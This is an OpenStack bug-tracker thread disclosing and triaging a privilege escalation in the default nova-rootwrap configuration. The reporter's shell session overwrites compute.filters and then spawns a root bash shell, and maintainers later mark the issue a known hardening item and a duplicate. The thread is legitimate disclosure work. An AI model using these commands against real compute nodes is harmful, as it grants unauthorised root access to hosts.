Possible privilege escalation with nova-rootwrap

[Franciszek Przewoźny]

This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed
(private) security vulnerabilities before their coordinated
publication by the OpenStack Vulnerability Management Team in the
form of an official OpenStack Security Advisory. This includes
discussion of the bug or associated fixes in public forums such as
mailing lists, code review systems and bug trackers. Please also
avoid private disclosure to other individuals not already approved
for access to this information, and provide this same reminder to
those who are made aware of the issue prior to publication. All
discussion should remain confined to this private bug report, and
any proposed fixes should be added to the bug as attachments. This
embargo shall not extend past 2023-08-29 and will be made
public by or on that date even if no fix is identified.

Default nova-rootwrap configuration (up to Stein) allows easy privilege escalation from user nova.

Description:
If attacker gains nova ssh key (for example from some backup), then can log into nova account on compute node via ssh and easly escalate privileges to root:

[nova@compute ~]$ whoami
nova
[nova@compute ~]$ echo -e '[Filters]\nbash: CommandFilter, bash, root' > compute.filters
[nova@compute ~]$ cat compute.filters
[Filters]
bash: CommandFilter, bash, root
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf cp /var/lib/nova/compute.filters /etc/nova/rootwrap.d/compute.filters
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf bash
root@compute:~#
root@compute:~# whoami
root

Similar bug was reported some time ago: https://bugs.launchpad.net/nova/+bug/1700501, but wasn't considered as a real security risk (only local nova account login was discussed, not remote connection).

Possible solution:
As number of 'write' commands executed as root is low, and used only in few places in code, some limitations could be added. Simple example for command 'cp', with '/var/lib/nova/' as state_path:

cp: RegExpFilter, cp, root, cp, /var/lib/nova/.*, /var/lib/nova/.*

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

I'm pretty sure this will end up being a security hardening opportunity, since it was a primary driver for the ongoing effort to replace rootwrap use with privsep, but also because at present there are similar known risks with the existing privsep rules (see bug 1989008 for details). Nevertheless, I'll wait for the Nova security reviewers to confirm before switching this report to public.

Also, you say "up to Stein" but the oldest OpenStack version still under normal maintenance is Xena. If it doesn't affect stable/xena or newer branches, we aren't going to issue a security advisory since there will be no new point releases containing the fix anyway.

[Dan Smith (danms)]

I think this is well-understood and has been discussed in the past. The compute.filters file should not be writable by the nova user (along with the rest of /etc/nova) but that is, AFAIK, only a packaging thing and not something we control since we don't really provide OS packages nor support/expect people installing from pip.

But the loose-ness of the rootwrap filters in general have been discussed and is part of the impetus for moving to privsep. The fact that you can ssh to the node to run these things does not make this materially different from 1700501, IMHO.

I would acknowledge this as a known security hardening opportunity (i.e. a dupe of 1700501) and not something worthy of being a private security bug.

[Jeremy Stanley (fungi)]

Thanks Dan. I've switched the bug report to public and set the security advisory task to "won't fix" (indicating there are no plans to issue a security advisory covering this topic).

I'll also set it as a duplicate of bug 1700501, but if anyone disagrees then it's easy to split back out.